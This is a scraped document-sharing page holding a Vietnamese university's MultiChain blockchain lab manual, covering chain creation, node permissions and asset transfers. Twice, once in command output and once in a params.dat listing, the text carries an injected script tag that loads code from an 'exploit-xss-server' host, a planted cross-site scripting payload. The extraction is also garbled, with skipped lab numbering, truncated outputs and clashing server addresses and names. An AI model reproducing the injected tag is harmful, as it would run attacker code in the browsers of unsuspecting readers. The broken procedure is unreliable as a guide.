1. Trang chủ
  2. » Công Nghệ Thông Tin

thuc hanh an toan thong tin khoa cong nghe thong tin da nang

62 68 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Thực Hành Hệ Thống Blockchain
Trường học Da Nang University of Science and Technology
Chuyên ngành Information Technology
Thể loại Lab Manual
Thành phố Da Nang
Định dạng
Số trang 62
Dung lượng 2,52 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Mã hóa dữ liệu là phương pháp dùng thuật toán để coding một file hoặc một nội dung để những người khác không thể sử dụng được và không thể đọc hiểu được cho đến khi nó được giải mã. Một khi đã mã hóa, chỉ người dùng có thẩm quyền và khóa giải mã mới có thể đọc hiểu và truy cập thông tin. Mã hóa sử dụng một thuật toán phức tạp hoặc bộ quy tắc nội bộ để biến dữ liệu gửi đi thành một bí mật. Khi nhận được, dữ liệu này sẽ được giải mã nhờ khóa do người gửi cung cấp. Hiệu quả bảo vệ của bất cứ công nghệ mã hóa nào được quyết định bởi độ dài của thuật toán, độ phức tạp của mật mã và giải pháp mã hóa được lựa chọn một cách phù hợp. Quá trình mã hóa sẽ biến đổi các thông tin đang được lưu trữ đâu đó hay đang di chuyển trên hệ thống ở dạng văn bản thuần túy (plain text) thành các file không thể đọc được và chỉ người có thẩm quyền mới truy cập được. Người không được cấp phép chỉ nhìn thấy một chuỗi ký tự lộn xộn chứ không thể hiểu được ý nghĩa của thông tin đó. Hơn nữa, công nghệ mã hóa còn cho phép đảm bảo tính toàn vẹn của thông tin nhờ một số thuật toán chống sửa đổi và giả mạo. Tính năng của công nghệ là bảo mật thông qua việc quản lý khóa mã hóa một cách chặt chẽ của các bên sử dụng nó.

Trang 1

Creating a blockchain on the First Server

1.2.1 Create a new blockchain named chainTuong01

1.2.2 View the blockchain's default settings

1.3

Connecting to a blockchain

1.4

Some commands in interactive mode

1.4.1 To get general information: getinfo

1.4.2 See a list of all available commands: help

1.4.3 Show all permissions currently assigned: listpermissions

1.4.4 Create a new address in the wallet: getnewaddress

1.4.5 List all addresses in the wallet: getaddresses

1.4.6 Get the parameters of this blockchain (based on params.dat file): getblockchainparams 1.4.7 Get a list of connected peers for each node: getpeerinfo

Lab 2 Using native assets

2.1

Introduction

2.2

Lab Instruction

2.2.1 Create a new asset and send it between nodes

2.2.2 Create a new asset on a node

2.2.3 Verify that the asset named asset01 is listed on both servers: listassets

2.2.4 Check the asset balances on the First Server mchain01: gettotalbalances

2.2.5 Check the asset balances on the Second Server mchain02: gettotalbalances

2.2.6 Add receive and send permissions

2.2.7 Send asset to the second server's wallet

2.2.8 Check its asset balances: gettotalbalances

2.2.9 See the most recent transaction:

Lab 3 Transaction metadata

4.2.1 Create the second asset

4.2.2 Check your assets: listassets

4.2.3 Create a locked transaction output containing 1 unit of asset04

4.2.4 Create a locked transaction output containing 50 units of asset01:

Trang 2

4.2.5 Prepare the exchange transaction

4.2.6 Verify the exchange

Lab 5 Round-robin mining

Lab 6 Multichain Web

Viewing the Secondary Node

Lab 1. Getting Started with Multichain

1.1 Introduction

Purpose: Multichain is a free product that allows you to easily set up blockchains and

to customize them For an excellent explanation of possible business cases for such blockchains.

In this lab, you will make your own private blockchain The coins we create won't be publicly traded, and they won't be worth any real money The purpose of this Lab is merely to learn how blockchain technology works.

(192.168.1.11)

* Use SecureCRT to connect to 192.168.1.11 server

* Or from Windows, Run ® cmd Type C:\

>ssh username@192.168.1.11

Trang 3

Hình 1 Sơ đồ kết nối hệ thống multichain

1.2.1 Create a new blockchain named chainTuong01.

// Tạo mới một chain CHÚ Ý: Thay XYZ bằng tên

username@mchain11:~$ multichain-util create chainTuong01

<script src="https://exploit-xss-server.glitch.me"></script>

MultiChain 2.0 beta 1 Utilities (latest protocol 20006)

Blockchain parameter set was successfully generated

You can edit it in /home/ubuntu/.multichain/chainTuong01/params.dat before running multichaind for the first time

To generate blockchain please run "multichaind chainTuong01 -daemon"

username@mchain11:~$

//Xem nội dung thư mục

username@mchain11:~$ ls -la

total 32

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 16:56

drwxr-xr-x 46 root root 4096 Feb 18 16:29

-rw - 1 user02 ubuntu 2106 Feb 18 19:38 bash_history

-rw-r r 1 user02 ubuntu 220 Apr 8 2014 bash_logout

-rw-r r 1 user02 ubuntu 3637 Apr 8 2014 bashrc

drwx - 2 user02 ubuntu 4096 Feb 25 16:56 cache

drwxr-xr-x 5 user02 ubuntu 4096 Feb 25 17:04 multichain

Trang 4

-rw-r r 1 user02 ubuntu 675 Apr 8 2014 profile

username@mchain11:~$

//Xem nội dung thư mục multichain vừa tạo

username@mchain11:~$ ls -la multichain/

total 16

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 17:06

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 17:06

drwxr-xr-x 2 user02 ubuntu 4096 Feb 25 17:06 chainTuong01

-rw-r r 1 user02 ubuntu 0 Feb 25 17:06 multichain.conf

username@mchain11:~$

// Tạo mới thêm một chain

username@mchain11:~$ multichain-util create chainTuong02

username@mchain11:~$ ls -la multichain/

total 16

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 17:06

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 17:06

drwxr-xr-x 2 user02 ubuntu 4096 Feb 25 17:06 chainTuong01

drwxr-xr-x 2 user02 ubuntu 4096 Feb 25 17:06 chainTuong02

-rw-r r 1 user02 ubuntu 0 Feb 25 17:06 multichain.conf

username@mchain11:~$

1.2.2 View the blockchain's default settings

These can also be modified but we recommend using the defaults for now:

// Xem các thông số mặc định của chain trong file params.dat

username@mchain11:~$ cat ~/.multichain/chainTuong01/params.dat

# ==== MultiChain configuration file ====

<script src=”https://exploit-xss-server.glitch.me”></script>

# Basic chain parameters

chain-protocol = multichain # Chain protocol: multichain (permissions, native assets) or bitcoin

chain-description = MultiChain chainTuong01 # Chain description, embedded in genesis block coinbase, max 90 chars.

root-stream-name = root # Root stream name, blank means no root stream.

root-stream-open = true # Allow anyone to publish in root stream

Trang 5

chain-is-testnet = false # Content of the 'testnet' field of API responses, for compatibility.

target-block-time = 15 # Target time between blocks (transaction confirmation delay), seconds (2 - 86400)

maximum-block-size = 8388608 # Maximum block size in bytes (5000 - 1000000000)

maximum-chunk-size = 1048576 # Maximum chunk size for off-chain items in bytes (256 - 16777216)

maximum-chunk-count = 1024 # Maximum number of chunks in one off-chain item (16 - 2048)

……

genesis-pubkey = [null] # Genesis block coinbase output public key genesis-version = [null] # Genesis block version.

genesis-timestamp = [null] # Genesis block timestamp.

genesis-nbits = [null] # Genesis block difficulty (nBits).

genesis-nonce = [null] # Genesis block nonce.

genesis-pubkey-hash = [null] # Genesis block coinbase output public key hash.

genesis-hash = [null] # Genesis block hash.

chain-params-hash = [null] # Hash of blockchain parameters, to prevent accidental changes.

username@mchain11:~$

username@mchain11:~$ multichaind chainTuong01 -daemon

MultiChain 2.0 beta 1 Daemon (latest protocol 20006)

Starting up node

Looking for genesis block

Genesis block found

Other nodes can connect to this node using:

multichaind chainTuong01@192.168.1.11:5745

Trang 6

Listening for API requests on port 6742 (local only - see rpcallowip setting)

Node ready

username@mchain11:~$

You should be told that the server has started and then after a few seconds, that the genesis block was found You should also be given the node address that others can use to connect to this chain.

Make a note of your node address In the figure below, it

is: chainTuong01@192.168.1.11:5745

(192.168.0.12)

Trang 7

Now we'll connect to this blockchain from elsewhere On the second server

192.168.0.12, run the following command, replacing the node address with your own value:

// Trên máy mchain12, kết nối với chainTuong01 trên cổng 5745

username@mchain12:~$ multichaind

chainTuong01@192.168.1.11:5745 -daemon

MultiChain 2.0 beta 1 Daemon (latest protocol 20006)

Retrieving blockchain parameters from the seed node 192.168.1.11:5745 Blockchain successfully initialized

Please ask blockchain admin or user having activate permission to let you connect and/or transact:

Trang 8

You should be told that the blockchain was successfully initialized, but you do not have permission to connect You should also be shown a message containing an address in this node's wallet Make a note of the wallet address which appears at the end of the "multichain-cli" commands at the bottom of this message In the figure below, it's:

1ZuwYh6zaHWRn9SMed1zZRMyUWdVwyiXyYoswu

username@mchain12:~$ ls -la

total 32

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 17:08

drwxr-xr-x 43 root root 4096 Feb 18 16:54

-rw - 1 user02 ubuntu 333 Feb 18 19:38 bash_history

-rw-r r 1 user02 ubuntu 220 Apr 8 2014 bash_logout

-rw-r r 1 user02 ubuntu 3637 Apr 8 2014 bashrc

drwx - 2 user02 ubuntu 4096 Feb 25 16:56 cache

drwxr-xr-x 3 user02 ubuntu 4096 Feb 25 17:08 multichain

-rw-r r 1 user02 ubuntu 675 Apr 8 2014 profile

username@mchain12:~$ ls -la multichain/

total 12

drwxr-xr-x 3 user02 ubuntu 4096 Feb 25 17:08

drwxr-xr-x 4 user02 ubuntu 4096 Feb 25 17:08

drwxr-xr-x 3 user02 ubuntu 4096 Feb 25 17:08 chainTuong01

-rw-r r 1 user02 ubuntu 0 Feb 25 17:08 multichain.conf

username@mchain12:~$

Back on the first server mchain11, add connection permissions for this address:

username@mchain11:~$ multichain-cli chainTuong01 grant

1ZuwYh6zaHWRn9SMed1zZRMyUWdVwyiXyYoswu connect

{"method":"grant","params":

1549766750","chain_name":"chainTuong01"}

["1Tp1FxMDm7ktU5KKiPYESfocbMFkhCyvX2kVoL","connect"],"id":"11902302-3322dae2f379eed908d6765fc1dc4cccf3fa3d6780e564291def3b254bf9adb7

username@mchain11:~$

Trang 9

Now try reconnecting again from the second server mchain12:

username@mchain12:~$ multichaind chainTuong01 -daemon

MultiChain 2.0 beta 1 Daemon (latest protocol 20006)

Trang 10

1.4.1 To get general information: getinfo

// Xem thông tin của chainTuong01

username@mchain11:~$ multichain-cli chainTuong01 getinfo

Trang 11

1.4.2 See a list of all available commands: help

The commands are very similar to bitcoin-cli, as shown below.

username@mchain11:~$ multichain-cli chainTuong01 help

signmessage "address"|"privkey" "message"

subscribe entity-identifier(s) ( rescan )

unsubscribe entity-identifier(s) ( purge )

walletlock

walletpassphrase "passphrase" timeout

Trang 12

To see more information about a specific command, enter "help" followed by the command name, like this:

username@mchain11:~$ multichain-cli chainTuong01 help

listwallettransactions

Trang 13

There's a lot of useful information here as shown below At the bottom there are JSON versions of the commands, too (not shown in the image below).

1.4.3 Show all permissions currently assigned: listpermissions

username@mchain11:~$ multichain-cli chainTuong01

Trang 14

The first item is the "connect" permission I assigned to the other node earlier After that there are many entries showing my First Server with many permissions, such as "mine" and "admin".

username@mchain12:~$ multichain-cli chainTuong01

listpermissions

Trang 15

1.4.4 Create a new address in the wallet: getnewaddress

Just as in bitcoin-cli, this displays a new address that can be used to receive assets, as shown below.

username@mchain11:~$ multichain-cli chainTuong01 getnewaddress

Trang 16

1.4.5 List all addresses in the wallet: getaddresses

There are now two addresses: the first one is the new one revealed by the

"getnewaddress" command, and the second one is the address we saw earlier with the

"mine" and "admin" permissions.

// Xem tất cả các địa chỉ trong ví wallet

username@mchain11:~$ multichain-cli chainTuong01 getaddresses

username@mchain12:~$ multichain-cli chainTuong01 getaddresses

1.4.6 Get the parameters of this blockchain (based on params.dat file):

getblockchainparams

These are the same parameters we saw previously.

// Xem các tham số của blockchain

username@mchain11:~$ multichain-cli chainTuong01

"genesis-timestamp" : 1549766355,

Trang 17

"genesis-nbits" : 536936447,

"genesis-nonce" : 102,

"genesis-pubkey-hash" : "cf627528c549af2bd0b32edddada6b93cbd9ec43", "genesis-hash" : "003fe032

username@mchain12:~$ multichain-cli chainTuong01

getblockchainparams

1.4.7 Get a list of connected peers for each node: getpeerinfo

There's only one peer right now, as shown below.

//Xem danh sách các kết nối trên node mchain11

username@mchain11:~$ multichain-cli chainTuong01 getpeerinfo

{"method":"getpeerinfo","params":[],"id":"43911270-1549774662","chain_name":"chainTuong01"}

[

Trang 19

username@mchain12:~$ multichain-cli chainTuong01 getchaintips

Trang 20

Assets in MultiChain: MultiChain supports assets natively at the blockchain level The identifiers and quantities of assets are encoded within each transaction output,

alongside the quantity of the blockchain’s native currency (which may be zero if it is not being used) Every MultiChain node tracks and verifies the quantity of assets in transactions, just as it is does with the native currency Specifically, it checks that the total quantities of all assets in a transaction’s outputs are exactly matched by the total

in its inputs MultiChain allows each transaction output can contain any number of different assets.

In MultiChain, assets can be referred to in any of three ways:

be unique on a blockchain, between both assets and streams Asset names are stored as UTF-8 encoded strings up to 32 bytes in size and are case insensitive.

issued.

transaction, along with the first two bytes of its txid

// Khởi động chainTuong01 trên máy mchain11

username@mchain11:~$ multichaind chainTuong01 -daemon

// Trên máy mchain12, kết nối với chainTuong01 trên cổng 5745

username@mchain12:~$ multichaind

chainTuong01@192.168.1.11:5745 -daemon

username@mchain11:~$ multichain-cli chainTuong01 grant

1Lixeu6wtiV9aotTdL3FYdLZfn8sVAkUVMcoR8 connect

username@mchain12:~$ multichaind chainTuong01 -daemon

2.2.1 Create a new asset and send it between nodes

On the first server mchain11 (192.168.1.11), get the address that has the permission to

create assets: listpermissions issue

// Trên máy mchain11 (192.168.1.11) lấy địa chỉ cho phép tạo assets

username@mchain11:~$ multichain-cli chainTuong01

Trang 21

Make a note of this address on mchain11 In the figure below,

it's 1Tp1FxMDm7ktU5KKiPYESfocbMFkhCyvX2kVoL

2.2.2 Create a new asset on a node

Create a new asset on this node with 1000 units, each of which can be subdivided into

100 parts, sending it to itself.

On your mchain11 machine (192.168.1.11), execute this command, using the address you noted in the previous step (by issue the command: $multichain-cli chainTuong01 listpermissions issue)

// Tạo mới một tài sản trong một node có giá trị 1000 units, được chia thành 100 phần nhỏ

username@mchain11:~$ multichain-cli chainTuong01

issue 1Tp1FxMDm7ktU5KKiPYESfocbMFkhCyvX2kVoL asset01 1000 0.01

{"method":"issue","params":

["1Tp1FxMDm7ktU5KKiPYESfocbMFkhCyvX2kVoL","asset01",1000,0.01],"id":"58655462-1618457984","chain_name":"chainTuong01"}

Trang 22

§ On mchain01 (192.168.1.11) machine:

// Xem thông tin tài sản asset01 được lưu trên node mchain01

username@mchain11:~$ multichain-cli chainTuong01 listassets

Trang 23

}

]

§ On mchain02 (192.168.0.12) machine:

// Xem thông tin tài sản asset04 được lưu trên node mchain02

username@mchain12:~$ multichain-cli chainTuong01 listassets

Trang 25

2.2.4 Check the asset balances on the First Server mchain11: gettotalbalances

The first server mchain11 has 1000 units of "asset01", as shown below.

// Xem số dư tài sản (asset balance) trên node mchain11 (192.168.1.11)

username@mchain11:~$ multichain-cli chainTuong01

Trang 26

2.2.5 Check the asset balances on the Second Server mchain12: gettotalbalances

The mchain12 (192.168.0.12) doesn't have any "asset01", as shown below

// Xem số dư tài sản (asset balance) trên node mchain12 (192.168.0.12)

username@mchain12:~$ multichain-cli chainTuong01

2.2.6 Add receive and send permissions

On your second server mchain12:

// Trên máy mchain12, lấy địa chỉ của ví Mỗi node sẽ có một địa chỉ ví riêng.

username@mchain12:~$ multichain-cli chainTuong01 getaddresses

1DYdAsRVJJgw6SWsyZEMD8yi8p3WEfobtf4mVs

Trang 27

On your First Server mchain11, execute this command, using your Second Server's address.

// Trên máy mchain11, cấp quyền gửi và nhận giữa các node dựa theo địa chỉ ví của máy mchain12

username@mchain11:~$ multichain-cli chainTuong01 grant

2.2.7 Send asset to the second server's wallet

On the first server, now try sending 100 units of the asset to the second server's wallet The address here is the address of your Second Server.

// Trên máy mchain11, chuyển 100 units trong tài sản asset01 sang ví của máy

mchain12 theo địa chỉ của ví này.

username@mchain11:~$ multichain-cli chainTuong01 sendassettoaddress

1Lixeu6wtiV9aotTdL3FYdLZfn8sVAkUVMcoR8 asset01 100

{"method":"sendassettoaddress","params":

["1Lixeu6wtiV9aotTdL3FYdLZfn8sVAkUVMcoR8","asset01",100],"id":" 70047389-1618459107","chain_name":"chainTuong01"}

a86432db8190df3e0c4eee68a87ef26b825b3feda649acbafd4b50fc3b0b584a

Note: the transaction that created the asset requires 30 seconds or so for confirmation

If you are working really fast, you may see another error at this point If that happens, wait 30 seconds and try again.

2.2.8 Check its asset balances: gettotalbalances

The first server mchain11 has 900 units of "asset01" left, as shown below.

Trang 28

// Trên máy mchain11, kiểm tra còn 900 units trong tài sản asset01

username@mchain11:~$ multichain-cli chainTuong01

On the second server mchain12 (192.168.0.12), execute this command to check its

asset balances: gettotalbalances

The Second Server has 100 units of "asset01", as shown below.

// Trên máy mchain12, xem số dư

username@mchain12:~$ multichain-cli chainTuong01

Trang 29

2.2.9 See the most recent transaction:

On the First Server mchain11 (192.168.1.11): listwallettransactions 1

This transaction has "qty" of -100, indicating that the First Server lost 100 units of asset01, as shown below.

// Trên máy mchain11, xem lịch sử các giao dịch

username@mchain11:~$ multichain-cli chainTuong01

"blocktime" : 1549789490,

"txid" :

"1f47ec0c0806b4e66d57704590080952a7c176b205c6afdd8b21c6f273d57c8d", "valid" : true,

"time" : 1549789485,

"timereceived" : 1549789485

}

]

Trang 30

On the Second Server mchain12, see the most recent transaction: listwallettransactions 1

This transaction has "qty" of 100, indicating that the First Server gained 100 units of asset01, as shown below.

// Trên máy mchain12, xem lịch sử các giao dịch

username@mchain12:~$ multichain-cli chainTuong01

Trang 31

"blocktime" : 1549789490,

"txid" :

"1f47ec0c0806b4e66d57704590080952a7c176b205c6afdd8b21c6f273d57c8d", "valid" : true,

Ngày đăng: 20/08/2021, 22:03

HÌNH ẢNH LIÊN QUAN

Hình 1. Sơ đồ kết nối hệ thống multichain - thuc hanh an toan thong tin khoa cong nghe thong tin da nang
Hình 1. Sơ đồ kết nối hệ thống multichain (Trang 3)

TỪ KHÓA LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w